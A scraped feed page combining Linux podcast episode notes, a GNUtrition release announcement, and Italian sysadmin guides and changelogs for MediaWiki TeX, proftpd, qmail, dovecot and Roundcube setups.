A new Firefox release confuses Félim, Plex makes no sense in a world where Jellyfin exists, Will considers paying for the Kagi search engine, and another small Android tablet for your wall. Plus what we learned at the recent Ubuntu Summit.
News/discussion
Firefox 151.0, See All New Features, Updates and Fixes
New Lifetime Plex Pass Pricing
Ubuntu Summit
GNUtrition 0.33 is now released. This marks the first release of GNUtrition since 2012, approximately 14 years ago!
GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
This release is a complete rewrite of GNUtrition in C rather than Python 2 with a new GTK 3 interface replacing the old GTK 2 one. The Nutrient Database of Standard Reference, which stopped getting updated in 2018, was replaced with the USDA Food and Nutrition Database for Dietary Studies. With help from some test volunteers, the build and installation process was better streamlined to resolve critical issues and difficulties so that GNUtrition can be a better program overall.
Considering the time between releases, GNUtrition currently is not available on OS package repositories (as far as I am aware). If you package software for your operating system's package manager, it would be very helpful if you could start packaging GNUtrition so that it may be even more easily used by people on said systems. If you don't, you may still request to those who do to start including GNUtrition.
Thank you to everyone who tested/used GNUtrition 0.33's release candidates and provided meaningful feedback on its functionality, design, and so on. I would also like to especially thank Jason Self for providing us with the C rewrite in the first place.
More information about GNUtrition may be found on its home page at http://gnu.org/so ... tware/gnutrition/. This release can be obtained from the ftp.gnu.org server at one of the following:
ftp://ftp.gnu.o ... gnu/gnutrition/
http://ftp.gnu.or ... g/gnu/gnutrition/
https://ftp.gnu.o ... g/gnu/gnutrition/
The FTP mirror list is available at https://gnu.or ... order/ftp.html, and https://ftpmirror ... u.org/gnutrition/ will automatically redirect you to a nearby mirror.
Please report any problems you experience to the GNUtrition bug reports mailing list: bug-gnutrition@gnu.org (https://lists.gnu ... fo/bug-gnutrition).
Happy hacking and calorie counting!!
We revisit the topic of the dire situation with hardware prices, this time with a focus on getting the most out of machines with limited resources.
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Microsoft threatens a security researcher for disclosing vulnerabilities publicly, bricks old versions of Office, and announces their version of OpenClaw. Plus keeping up with the latest technology.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Which ZFS Storage Metrics Matter for Database Performance
Webinar: June 25th @ 11am EDT: Understanding AnyRAID with Jon from HexOS
News/discussion
Microsoft under fire for threatening security researcher with criminal investigation
The researcher is a former MS employee says Krebs
Microsoft reaches for olive branch after public dustup with 0-day researcher
Microsoft is intentionally bricking all Office for Mac 2019/2021 installations
Introducing Microsoft Scout: Your always-on personal agent
Free consulting
We were asked about keeping up with the latest technology.
Mediawiki offre la possibilità di inserire formule Tex nelle nostre pagine creando dinamicamente immagini PNG per noi..
Questa pagina vuole richiamare i pacchetti e i principali passi da seguire per far funzionare Tex con MediaWiki in una macchina Slackware. Alla fine presenterò alcune problematiche nell'installzione.
Ghostscript è già incluso in Slackware (ap/ghostscript e ap/ghostscript-fonts-std) ma se siamo in un server minimale potresti avere bisogno di installarlo.
Questa libreria la troviamo all'interno del pacchetto x/fontconfig. E' richesta da ImageMagick.
wget http://www.imagemagick.org/download/ImageMagick-6.7.6-5.tar.bz2
tar xvfj ImageMagick-6.7.6-5.tar.bz2
cd ImageMagick-6.7.6-5
chown -R root:root .
./configure \
--without-x \
--with-png \
--with-freetype \
--with-dps \
--with-gslib
make
make install
ldconfig
Provare a digitare, dalla linea di comando
/usr/local/bin/convert logo: logo.gif
Se viene generato il file PNG tutto funziona come si deve.
wget http://caml.inria.fr/pub/distrib/ocaml-3.12/ocaml-3.12.0.tar.bz2 tar xjf ocaml-3.12.0.tar.bz2 cd ocaml-3.12.0 chown -R root:root . ./configure make make install
Download: http://sourceforge.net/projects/dvipng/
Prerequisiti:
PATH=$PATH:/usr/share/texmf/bin/ export PATH
Ricordare di salvare ciò anche nel profile.
Per evitare problemi nel link di kpathsea configurare come segue
./configure LDFLAGS='-L/usr/share/texmf/lib/' CPPFLAGS='-I/usr/share/texmf/include/' make make install
Senza AMS* alcune formule saranno rese correttamente mentre altre no. Il pacchetto tetex di Slackware contiene già AMS, comunque, nel caso non ce l'avessi:
cd /usr/share/texmf wget ftp://ftp.ams.org/pub/tex/amslatex.zip wget ftp://ftp.ams.org/pub/tex/amsrefs/amsrefs.zip unzip amslatex.zip unzip amsrefs.zip
dovresti trovarlo in /usr/share/texmf/tex/latex/amsmath/amsmath.sty
Cambiare directory dove è installato mediawiki, editare LocalSettings.php e decommentare questo:
$wgUseTeX = true;
cd /path/to/htdocs/mediawiki/math
Prima di compilare, per evitare un parse error, usare il PATH assoluto ovunque all'interno di math/render.ml in questo modo:
let cmd_dvips tmpprefix = "/usr/share/texmf/bin/dvips -q -R -E " ^ tmpprefix ^ ".dvi -f >" ^ tmpprefix ^ ".ps" let cmd_latex tmpprefix = "/usr/share/texmf/bin/latex " ^ tmpprefix ^ ".tex >/dev/null" (* Putting -transparent white in converts arguments will sort-of give you transperancy *) let cmd_convert tmpprefix finalpath = "/usr/local/bin/convert -quality 100 -density 120 " ^ tmpprefix ^ ".ps " ^ finalpath ^ " >/dev/null 2>/tmp/wiki_convert_error" (* Putting -bg Transparent in dvipng's arguments will give full-alpha transparency *) (* Note that IE have problems with such PNGs and need an additional javascript snippet *) (* Putting -bg transparent in dvipng's arguments will give binary transparency *) let cmd_dvipng tmpprefix finalpath backcolor = "/usr/local/bin/dvipng -bg \'" ^ backcolor ^ "\' -gamma 1.5 -D 120 -T tight --strict " ^ tmpprefix ^ ".dvi -o " ^ finalpath ^ " >/dev/null 2>/tmp/wiki_dvipng_error"
Ora compiliamo
make
Provare a mettere dentro una pagina wiki qualcosa come
0
e cerchiamo di vedere cosa succede. Questo è il messaggio di errore più frequente:
Failed to parse (PNG conversion failed; check for correct installation of latex, dvips, gs, and convert)
Controlliamo se gli eseguibili sono nel path:
# ls -lH `which gs` `which latex` `which dvips` `which convert` -rwxr-xr-x 1 root root 5977916 2008-12-05 23:36 /usr/bin/gs* -rwxr-xr-x 1 root root 23410 2010-11-21 15:22 /usr/local/bin/convert* -rwxr-xr-x 1 root root 209308 2007-06-28 04:51 /usr/share/texmf/bin/dvips* -rwxr-xr-x 1 root root 1010984 2007-06-28 04:51 /usr/share/texmf/bin/latex*
Abilitiamo il log degli errori. Inserire una linea come questa in LocalSettings.php
$wgDebugLogFile = "/tmp/wiki.log";
Apriamo questo file e cerchiamo una riga come questa ;
TeX: ./math/texvc '/path/to/htdocs/mediawiki/images/tmp' '/path/to/htdocs/mediawiki/images/tmp' '0' 'UTF-8' 'transparent' TeX output: Ccfcd208495d565ef66e7dff9f98764da0 0 ---
Cerchiamo ora di eseguire il comando texvc dalla linea di comando come utente apache:
cd math sudo -u apache ./texvc '../images/tmp' '../images/tmp' '0' 'UTF-8' 'transparent'
a controlliamo il PNG nella cartella images/tmp. Se si ottiene ancora un parse error, si ricontrolli il path assoluto in math/render.ml, e si ricompili. E si rileggano le referenze indicate.
Ecco come ho installato mod_tls (ftpes) e mod_sftp in proftpd. I miei tentativi di farli convivere in due demoni separati sono tutti falliti, giacchè ho registrato errori nel trasferimento che sono spariti solo quando ho provato a caricare mod_tls o mod_sftp a turno.
Questi i miei test sulla velocità (per la verità un po' frettolosi). ftpes sembra un pochino più veloce in modalità upload:
ftpes
upload: circa 22.4 K/s
download: più di 800 K/s
sftp
upload circa 18.2 K/s
download: più di 800 K/s
./configure \
--prefix=/usr/local \
--without-pam --disable-auth-pam \
--enable-openssl \
--with-modules=mod_ratio:mod_readme:mod_sftp:mod_tls
ftpes.conf# common stuff goes here
Include /usr/local/etc/proftpd/proftpd.conf
<IfModule mod_tls.c>
TLSEngine on
PassivePorts 49152 65535
#MasqueradeAddress 012.345.678.901 # se il server e' dietro un firewall
TLSLog /var/log/proftpd/tls.log
TLSProtocol SSLv23
# Require protection on the control channel, but reject protection of the data channel
TLSRequired ctrl+!data
TLSRSACertificateFile /usr/local/etc/ssl/certs/proftpd.pem
TLSRSACertificateKeyFile /usr/local/etc/ssl/certs/proftpd.pem
TLSVerifyClient off
TLSRenegotiate none
</IfModule>
sftp.conf# common stuff
Include /usr/local/etc/proftpd/proftpd.conf
<IfModule mod_sftp.c>
SFTPEngine on
SFTPLog /var/log/proftpd/sftp.log
Port 22
SFTPHostKey /etc/ssh/ssh_host_rsa_key
SFTPHostKey /etc/ssh/ssh_host_dsa_key
SFTPCompression delayed
MaxLoginAttempts 6
</IfModule>
Infine avviare il demone richiamando il file di configurazione desiderato:
/usr/local/sbin/proftpd -c /usr/local/etc/proftpd/ftpes.conf # se si vuole ftpes /usr/local/sbin/proftpd -c /usr/local/etc/proftpd/sftp.conf # se si preferisce sftp
Non avviarli mai insieme.
proftpd.confServerType standalone
UseReverseDNS off
DeferWelcome off
Port 21
Umask 022
MaxInstances 30
User ftp
Group ftp
SystemLog /var/log/proftpd/proftpd.log
TransferLog /var/log/proftpd/xferlog
<Global>
<Directory /*>
AllowOverwrite on
</Directory>
</Global>
<VirtualHost 123.456.789.123>
ServerName "ProFTPD"
DefaultRoot ~/www
DefaultServer on
</VirtualHost>
#!/bin/sh
#
# /etc/rc.d/rc.proftpd
#
start() {
/usr/local/sbin/proftpd -c /usr/local/etc/proftpd/ftpes.conf
#-n -d 20 for backup
# /usr/local/sbin/proftpd -c /usr/local/etc/proftpd/sftp.conf
echo "Server started."
}
stop() {
/bin/killall proftpd
echo "Server stopped."
}
restart() {
stop
sleep 3
start
#/bin/killall -HUP proftpd
echo "Server restarted."
}
case "$1" in
'start')
start
;;
'stop')
stop
;;
'restart')
restart
;;
*)
echo "usage $0 start|stop|restart"
esac
Il progetto Pigeonhole fornisce il supporto Sieve a livello di plugin per il Local Delivery Agent (LDA) di Dovecot e anche per suo servizio LMTP. Il plugin è un interprete Sieve che filtra i messaggi in arrivo usando uno script scritto in linguaggio Sieve. Lo script Sieve è fornito dall'utente e, con il suo utilizzo, l'utente può personalizzare come i messaggi in arrivo sono trattati. I messaggi possono essere spediti a una cartella specifica, reindirizzati, rispediti al mittente, scartati, etc.
Il Server Dovecot Managesieve è un servizio per gestire la collezione di script Sieve dell'utente.
Se vuoi supportare i filtri per le email, devi gestire le Sieve rules per mezzo del server dovecot-pigeonhole. Quando crei un filtro con la tua webmail o il tuo client di posta, stai scrivendo uno script in linguaggio Sieve per personalizzare il modo in cui i tuoi messaggi saranno recapitati, vale a dire se saranno inoltrati a qualcun altro, scartati o salvati in delle cartelle particolari. Ma per fare questo Dovecot deve agire anche come un Local Delivery Agent al posto di vpopmail/vdelivermail, ovvero deve essere Dovecot a salvare i messaggi nella tua cartella Maildir. Questa guida cercherà di spiegare come raggiungere questo obiettivo.
spamhaus da connessioni fatte con DNS pubblico.- DKIM: added ERROR_FD=2 in control/filterargs to send error output of qmail-dkim in stderr when acting as a qmail-remote filter (Andreas Gerstlauer)qmail-dkim error reporting when signing outgoing messages (Andreas Gerstlauer)helodnscheck.cpp: qmail dir determined dinamicallyqmHandle: Add -x and -X parametr for remove email by To/Cc/Bcc (by Stetinac)qmail-spp greylisting plugin to solve a compilation break on rocky 8 (tx Shailendra Shukla)vpopmaild doesn't work when SHA-512 passwords have been enabled on vpopmail (--disable-sha512-passwords). All SQL queries have been updated.libev are now installed in /usr/local/include/libev (was /usr/local/include) to avoid conflicts with libevent (they both have an event.h header file). vusaged configure command was adjusted accordingly.--enable-sqmail-cdbsimscan now defines the maximum size of messages to be passed to spamassassin via control/simsizelimit filevpopmail e nuovo plugin qmailforward per Roundcube che vanno a risolvere diverse problematiche. Maggiori informazioni nella pagina dedicata..Debian, dove python2 non è presente (grazie a Gabriel Torres)convert-multilog program. In case you decide to stick with the original timestamp, then use the original convert-multilog. (diff)ExtractText notes have been revised and corrected by Gabriel Torrescmd_learn and the multi_driver driversqmailadmin: added the ezmlm-idx 7 compatibility patchDKIMKEY=/var/qmail/control/domainkeys/%/default" from the qmail rc config file, as DKIMKEY is actually ignored by dk-filter, which will look for the key in that location by default. Use DKIMSIGN instead to define yor domainkey location (thanks to Steffen for the hint)dovecot: the user query on the auth is now able to manage pop3/imap/webmail vpopmail limits (thanks to Arturo Blanco)vQadmin: combined patch released (more info inside the patch itself)qmail-remote.c that was causing the sending of an additional ehlo greeting (thanks to Cristoph Grover)qmailadmin: added a patch to log auth failures (thanks to Tony)fail2ban: added a filter against qmailadmin log failuresqmailadmin: added a patch to check for the password strenghtextra.h to record the Message-ID in the qmail-send's log (thanks to Simone for the hint). Look here for details.simscan has been improved with the jms patch. The work dir is mounted as a ramdisk nowfail2ban: qmail-smtp.conf filter updated to look for GREETDELAY linesdovecot because of security reasons (more info here)dovecot upgraded to v. 2.2.14dovecot-pigeonhole recompileddovecot upgraded to v. 2.2.14.rc1dovecot-pigeonhole upgraded to v. 0.4.3/usr/local/dovecot/etc/sieve/roundcube upgraded to v. 1.0.3.roundcube-auth filter to fail2banroundcube upgraded to v. 1.0.2. Fixed some errors in the relative page, as sometime the $config variable was still $rcmail_config as in the past, and all the config files are now merged into config.inc.php (thanks to Otto)clamav upgraded to v. 0.98.3roundcube upgraded to v. 1.0.1ezmlm-idx upgraded to v. 7.2.2qmailadmin recompiled against ezmlm-idx-7.2.2ezmlm-idx upgraded to v. 7.2.0ezmlm-idx, getting the program to be compliant with the Yahoo DMARC Policy Change. You have to recompile qmailadmin against ezmlm as well.qmail-maxrcpt patch, which allows you to set a limit on how many recipients are specifiedroundcube upgraded to v. 1.0.0qmail-smtpd-liberal-lf patch, which allows qmail-smtpd to accept messages that are terminated with a single \n instead of the required \r\n sequence. This should avoid some "read failed" reject.dovecot: upgraded to v. 2.1.10dovecot: upgraded to v. 2.1.9dovecot: upgraded to v. 2.1.6qmail-tap added to my combined patchdovecot: upgraded to v. 2.1.1auth_socket_path variable inside 10-mail.confdovecot: upgraded to v. 2.1.0dovecot-pigeonhole: upgraded to v.0.3.0esmtp-size patch added to my combined patchdoublebounce-trim patchRoundcube: updated to v. 0.7.1. All plugins have been updated to latest version as well.dnsbl.sorbs.org is not on my RBL examples anymore, as it proved to be a bad list. It's rejecting gmail's IPs and also confusing the IP of my own server as dynamic.update_tmprsadh to chown the .pem files to vpopmail to avoid hang-ups during the smtp conversation on port 587 caused by permission problems. qmail-remote.c which was not going into tls on authentication (thanks to Krzysztof Gajdemski)force-tls now quits if the starttls command is not provided when required (thanks to Jacekalex)Dovecot: upgraded to v. 2.0.15dovecot-pigeonhole: upgraded to v . 0.2.4RoundCube: upgraded to v. 0.6. All plugins have been updated to latest versionRoundCube: upgraded to v. 0.5.4 (security fix)force-tls patch allows the management of STARTTLS and CRAM-MD5 variables in the run file, so that there's no need to recompile each time anymore.qmail-inject-null-sender" patch by Stéphane Cottin, which addresses a bug on qmail-injectdovecot was updated to allow maildir++ (thanks to Nicolas) on files 90-quota.conf and 20-imap.confqmail on 64b platforms has been fixedrblsmtpd. Added a page about the greetdelay patch.ext-todo and big-todo patches, which adress the "silly qmail syndrome" on big servers.Spamassassin: updated to v. 3.3.2Roundcube: updated to v. 0.5.3 (2 important bug fixes)Dovecot: added a page concerning the purging of expired emails from Trash/JunkRoundCube: updated to v. 0.5.2. Updated almost all roundcube's plugin to latest version.qmail-rblchk---------
Steam Deck price rises point toward high prices for the new Valve hardware, Lenovo puts its name to a cheap retro handheld and regrets it, Wikipedia management seems to be acting like a typical big tech company and the workers are organising, Bambu pisses off its 3D printer customers and Joe got given a free unrelated 3D printer, and we don’t believe that the Raspberry Pi 6 will arrive as late as 2028.
News
Steam Deck back in stock, with updated pricing
The golden age of handheld gaming is already over [archived]
Sellers circumvent Lenovo’s retro handheld ban with cheap wholesale storefronts
Big Tech’s Anti-Labor Playbook Has Come for Wikipedia
We’re Wiki Workers United, a global solidarity union for the staff of the Wikimedia Foundation
Wikipedia editors plot strike and banner sabotage after Wikimedia layoffs
Comprehensive Response to Bambu’s AGPLv3 Violations – Software Freedom Conservancy
‘Fuck you, Bambu’: How one private message could change the face of 3D printing [archived]
Don’t expect a Raspberry Pi 5 in 2023, says Eben Upton [21st Dec 2022]
Introducing: Raspberry Pi 5! [28th Sep 2023]
What makes a good library?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
What makes a good library?
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
It’s a Linux Dev Time style hot questions episode. Is “cloud native” more about where the workload is going or how you deploy it? What is a skill that is really important in your job that may surprise people? Is the cloud more or less secure than a company-controlled data centre or on-prem? Would you recommend what you do to your kids/nephews etc?
Support us on patreon and get an ad-free RSS feed with early episodes sometimes
Subscribe to the RSS feed.
It looks like Bitlocker had a back door in it, how a listener accidentally broke Gitea for users of the snap version, Google accidentally published an unpatched exploit for Chromium-based browsers, why people are starting to ditch Bitwarden, and moving a tech stack away from large corporations.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
How Klara and TrueNAS fixed ZFS’s longest standing limitation
Webinar: June 25th @ 11am EDT: Understanding AnyRAID with Jon from HexOS
News/discussion
YellowKey Bitlocker Bypass Vulnerability
Microsoft shares mitigation for YellowKey Windows zero-day
How I Broke Gitea for Everyone
Google publishes exploit code threatening millions of Chromium users
The Quiet Renovation at Bitwarden
Free consulting
We were asked about moving a tech stack away from large corporations.
Debian’s ambitious aim to make all packages reproducible pushes us closer to a better future, yet more talk about age verification for VPNs, Firefox gets more users on mobile thanks to regulation, Opera’s gaming browser comes to Linux, Valve releases CAD files for the Steam Controller, and the Steam Frame might be coming soon. With guest host Andy from Linux Dev Time.
News/discussion
Debian Release Team: Debian Must Now Ship Reproducible Packages
EU calls VPNs “a loophole that needs closing” in age verification push
EU browser choice rules send millions more users Firefox’s way
We all seem to be moving away from Ubuntu, but there are still quite a few reasons to keep using it.
Charlie’s OggCamp talk about infrastructure as code
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Italian Linux Society ha attivato il nuovo conto in Banca Etica e iniziamo l'abbandono di Unicredit. I motivi.
Continua la lettura… (ulteriori 7 minuti di lettura)
Why a proposal for an alternative to IPv6 is unlikely to be viable, Microsoft really doesn’t want you to run Exchange Server on-prem, Google will finally stop being a proper search engine, setting up an email server for internal use, and mitigating DDoS attacks without Cloudflare.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Webinar: May 27th at 11am EDT: Database Performance on ZFS with Tom Lawrence
News/discussion
Veteran network architect proposes IPv8 – to improve IPv4, not leapfrog v6
Exchange Server zero-day vulnerability can be triggered by opening a malicious email
Google Search as you know it is over
Free consulting
We were asked about setting up an email server for internal use, and mitigating DDoS attacks without Cloudflare.
lua as a dependency. Added --without-lua at configure commanduserdb iterate query nor orders by domain and username commitfts_autoindex = no added to Trash and Junk folders commit+ character added to auth_username_chars commitvpopmail configured with --disable-many-domainsRoundcube è una webmail avanzata con una bella interfaccia grafica.
$config['quota_zero_as_unlimited'] = true; to show quota unlimited instead of unknown for accounts with unlimited quotasrs: do not rewrite qmail's internal envelope addresses ("#@[]" and VERP) by @yohgaki in #46qmailctl script, DKIM control/filterargs and control/domainkeys dir, SURBL, smtpplugins, helodnscheck spp plugin, svtools, qmHandle, queue-repair, SSL key file (optional). Server Name Indication (SNI) è una estensione del protocollo TLS che consente a un server di presentare differenti certificati a seconda dell'hostname richiesto dal client durante il saluto TLS.
In un ambiente email moderno, molti domini condividono uno stesso indirizzo IP per i servizi SMTP, IMAP, POP3 e submission. Senza SNI, un amministratore di un server email può presentare un solo certificato per ogni socket disponibile, cosa che obbliga l'aministratore ad affidarsi a certificati multi-dominio (SAN) o a certificati con wildcard. Questo approccio aumenta i problemi operativi tra gli utenti finali novelli, che spesso non sono in grado di usare la configurazione automatica del client per configurare correttamente le loro mailbox.
L'abilitazione di SNI nei serivizi mail consente al server di presentare il certificato appropriato basato sull'hostname richiesto dal client, contenuto nel suo indirizzo email.
La funzionalità SNI per la mia distribuzione qmail è stata aggiunta da Andreas Gerstlauer (commit qui e qui), che vorrei ringraziare.
Clam AntiVirus is an open source (GPL) anti-virus toolkit for UNIX, designed especially for e-mail scanning on mail gateways.
vpopmail: 5.6.14Vpopmail fornisce un modo semplice di gestire indirizzi di posta su domini virtuali e account email diversi da quelli su /etc/passwd.
vlog in #12 #13 853be6c 012e58d b4bafad d7fce5dvpalias.c: valias_select_next() was called with a 'valias' variable, while it is defined with no arguments (tx Ulrich) in #15backfill.c: fix const qualifier warnings in strrstr() 8f77b5dvusaged: rename internal list functions to vlist_* to avoid symbol collisions with MariaDB client library 1bb31ca
vmysql.c changes (#10)
valias_create_table now check if table is already created in order to avoid warnings in dotqmail2valiasvalias_insert functionqmailadmin calls in #9s/qmail users (look here)--enable-defaultdelivery) changes (more info here, commit):
vdelivermail is installed by default in .qmail-default of newly created domains with option 'delete' as in the previous version.vdelivermail, to avoid loops.VqAdmin è un pannello di controllo su interfaccia web che consente di eseguire azioni che richiedono l'accesso a root — per esempio, aggiungere e cancellare domini.
Come si può vedere, VqAdmin ha una nuova versione con un nuovo aspetto mobile responsive, con tutte le mie vecchie patch incluse (compresa quella di ALI) e diverse correzioni e ripuliture del codice sorgente. Ho risolto tutti i warnings sia di autotools che di gcc e cambiato un paio di cose per poter rifare il tema html (guardare il changelog per maggiori dettagli). Come sempre i contributi nei commenti sono graditi.
PS: anche la parte apache è stata modificata e prima di fare l'aggiornamento è necessario guardare quali modifiche sono necessarie.
Have fun!
Questa pagina riguarda la patch DKIM inclusa nella mia patch combinata (maggiori informazioni qui). Questo argomento è avanzato ed è consigliabile tornare qui alla fine del tutto.
DKIM fornisce un metodo per validare l'identità di un nome a dominio associato a un messaggio con una autenticazione crittografata. La tecnica di validazione è basata sulla crittografia di una chiave pubblica: Il server che invia l'email aggiunge il nome a dominio al messaggio e vi affigge una firma digitale. Questa chiave è posta nell'intestazione DKIM-Signature: del messaggio. Colui che riceve il messaggio può controllare la validità della chiave pubblica leggendo un record TXT del DNS del dominio associato al messaggio.
Sei invitato a dare un'occhiata alle pagine man a partire da qmail-dkim(8) e spawn-filter(8).
ERROR_FD=2 in control/filterargs to send error output of qmail-dkim in stderr when acting as a qmail-remote filter (Andreas Gerstlauer)ed25519 support (RFC 8463)DKIMSIGN / DKIMSIGNEXTRA / DKIMSIGNOPTIONS DKIMSIGNOPTIONSEXTRA variablesdomainkey script replaced by dknewkey in order to create ed25519 keys and rsa keys with 1024/2048/4096 bitlibdomainkeys.a library)rsa key together with the ed25519 key below.
qmail-sppprovides plug-in support for qmail-smtpd. It allows you to write external programs and use them to checkSMTPcommand argument validity. The plug-in can trigger several actions, like denying a command with an error message, logging data, adding a header and much more.
Today I played for the first time with an ancient patch for qmail: qmail-spp. I was really impressed for the ease of use and the elegance of its code, which is inserted inside qmail-smtpd.c with a few touches, despite of the many things that it can do when installed and enabled.
It can run a custom plugin in any language and at any level of the smtp session, grabbing the environment variables, writing into stderr or blocking the smtp session with a return error for the sender.
In no time at all I managed to understand its logic and write a small plugin by adapting a c program I wrote for s/qmail a few months ago to check the validity of the recipient.
Of course I decided to add this patch to my combo. I've just modified the way it has to be enabled, just not to bother those who don't want to touch their run scripts. So, while the original patch is enabled by default, I modified things a little bit so that you have to manually enable it by exporting the variable ENABLE_SPP in your run scripts. Therefore the original NOSPP variable is useless.
Have fun!
Ora che abbiamo preparato i filtri antispam dobbiamo addestrare il nostro sistema bayesiano e inviare i report a Razor, Pyzor e Spamcop.
La cosa più ovvia che può venirci in mente di fare a questo punto è forse quella di lanciare sa_learn e spamassassin --report uno dopo l'altro al click sul bottone "Marca come Spam" della webmail Roundcube (vedere i driver cmd_learn e multi_driver del plugin markasjunk), ma questa scelta ha alcuni svantaggi importanti:
E' qundi più corretto eseguire questi due compiti durante la notte per mezzo di un cronjob (primo problema risolto), processando i soli messaggi di vero spam/ham che l'utente ha consapevolmente copiato in una cartella apposita (secondo problema).
Tired of the nightmares of remotely compiling the kernel with Linux-VServer, a software that I'm pleased with despite of some lack of documentation, these days I was playing with LXC, which is included and supported by Slackware and for which the Linux kernel doesn't need any patching because it already embeds the hacks for LXC containers.
To convert an existing Linux-VServer container in a (eventually unprivileged) LXC container you can follow these steps. I assume that you already know how to create an LXC container; in case you are interested in unprivileged containers take a look to the excellent Chris Willing's guide (a big thanks to him) linked below.
More info:
Era ora che riuscissi a liberarmi della vecchia piattaforma Drupal come strumento per questo blog, ma finalmente ho trovato il tempo per migrare il database di Drupal e per riprendere qui la vecchia grafica (solo lo stile, il codice html è mio).
D'altronde, da almeno 15 anni porto avanti lo sviluppo di un mio CMS (basato su php/mariadb), che però originariamente non avevo usato per la mancanza del tempo necessario a costruirmi un tema html.
Ora il sito vive in ambiente Mobile Responsive e soprattutto mi consente di svincolarmi dagli incubi degli aggiormanti di Drupal e dei suoi pacchetti.
La parte sui commenti del presente CMS non è perfettamente collaudata e mi farebbe piacere avere eventualmente dei feedback su ogni problematica, quindi non esitate a scrivermi al riguardo.
Buon divertimento!
Massive Christmas present by my italian friend Luca Franceschini of digitalmind. He merged his combo with my combined patch (2016.12.02 version) adding several (heavily customized) patches and functionalities. Luca is a C programmer and an expert system administrator who manages big servers.
Great funding news for LVFS and KDE, why Europe probably needs some more home-grown distros, a conspiracy theory about Cloudflare seems unlikely, and we wonder what can be done about all the irresponsibly disclosed vulnerabilities that new tools are discovering. With guest host Andy from Linux Dev Time.
News
Sovereign Tech Fund invests over €1 million in KDE software development
KDE bags €1.3M as Europe realizes it might need an OS of its own
Can Someone Please Explain Whether Cloudflare Blackmailed Canonical?
‘Dirty Frag’ Linux flaw one-ups CopyFail with no patches and public root exploit
Dirty Frag gets a sequel as Fragnesia hands Linux attackers root-level access
Linux kernel maintainers pitch emergency killswitch after CopyFail and Dirty Frag chaos
Andy has been taking the One Billion Row Challenge, and has been thinking about the broader question of what makes software fast.
Andy’s videos on Peertube and YouTube.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
Andy has been taking the One Billion Row Challenge, and has been thinking about the broader question of what makes software fast.
Andy’s videos on Peertube and YouTube.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
We get into some homelab updates. Sean has been consolidating hardware, Gary has been implementing high availability with Proxmox, and Shane has been working hard to get Home Assistant working with Kubernetes, as well as downloading YouTube videos.
Support us on patreon and get an ad-free RSS feed with early episodes sometimes
Subscribe to the RSS feed.
People trying to return defective hard drives and RAM are finding out why consumer protection laws would be good, GoDaddy accidentally gave someone’s domain name away, and when and how to fix ZFS fragmentation.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Fast Dedup Economics: When Deduplication Beats Buying New Disks
News/discussion
GoDaddy Gave a Domain to a Stranger Without Any Documentation
Free consulting
We were asked about when and how to fix ZFS fragmentation.
Light bulb colour temperatures, doing nice things for ourselves, pulling faces while playing guitar, and surreal experiences. With Allan from 2.5 Admins, May from Linux After Dark, and Shane from Hybrid Cloud Show.
Patrons got this this in their feed two weeks ago.
Voice to text, visualising CSVs in the terminal, managing software from releases on GitHub, a mini Android tablet for your wall, and Amiga music on Linux in Discoveries. Plus Ubuntu embracing AI makes us wonder if we should just stop having the same old arguments.
Discoveries
Unix Amiga Delitracker Emulator
News/discussion
I wanted to reply with some clarifications
The Pulse: token spend breaks budgets – what next?
Anthropic joins the Blender Development Fund as Corporate Patron
Upcoming Blender Development Fund and AI Policies
How we get back to our home LANs when we are away travelling etc. It mostly involves WireGuard and Tailscale. We also get into blocking ads, mostly with Pi-hole.
Support us on Patreon and get an ad-free RSS feed with some early episodes
See our contact page for ways to get in touch.
Subscribe to the RSS feed.
Microsoft is encouraging employees with the most experience to leave the company and letting users pause Windows updates forever, some of the best features you’ll get in the version of ZFS that ships with the new Ubuntu LTS, and backing up data from cloud services.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Extending ZFS Performance Without Hardware Upgrades
News/discussion
Your Windows update experience just got updated
Free consulting
We were asked about backing up data from cloud services.
There’s a new Ubuntu LTS release and quite a lot is new, Canonical’s infrastructure was taken down and we disagree about whether it could have been avoided, two recent examples of irresponsible vulnerability disclosure, and the Steam controller finally arrives with a hefty price tag.
Plugs
SeaGL 2026 Call for Presentations
News
Canonical releases Ubuntu 26.04 LTS Resolute Raccoon
Ubuntu 26.04 LTS: What’s New Since Ubuntu 24.04?
Pro-Iran group turns Ubuntu DDoS into shakedown
The most severe Linux threat to surface in years catches the world flat-footed
Carrot disclosure: Forgejo and follow-up
Steam Controller: The Ars Technica review
It’s yet another hot questions episode. Colour schemes, syntax highlighting, code patterns, fonts, and keyboards.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
It’s yet another hot questions episode. Colour schemes, syntax highlighting, code patterns, fonts, and keyboards.
Support us on Patreon and get an ad-free RSS feed with early episodes sometimes
See our contact page for ways to get in touch.
Subscribe to the RSS feed
A recent attack shone a light on some of the problems with GitHub Actions, and CI/CD more generally. As tempting as it might be, going back to shell scripts probably isn’t the answer.
1K+ cloud environments infected following Trivy supply chain attack
2.5 Admins 292: Trivyally Infected
Support us on patreon and get an ad-free RSS feed with early episodes sometimes
Subscribe to the RSS feed.
Hitting the limit for hard links, a parent struggles to get back into their teen’s compromised Discord account, the demise of tower PCs and general purpose computing in general, and changing the properties of existing ZFS pools.
Plugs
Support us on patreon and get an ad-free RSS feed with some early episodes
Compensating for RAM Constraints with L2ARC on ZFS
News/discussion
How Jennifer Aniston and Friends Cost Us 377GB and Broke ext4 Hardlinks
Dad stuck in support nightmare after teen lied about age on Discord
Apple’s last tower topples… and the others will follow
Free consulting
We were asked about changing the properties of existing ZFS pools.
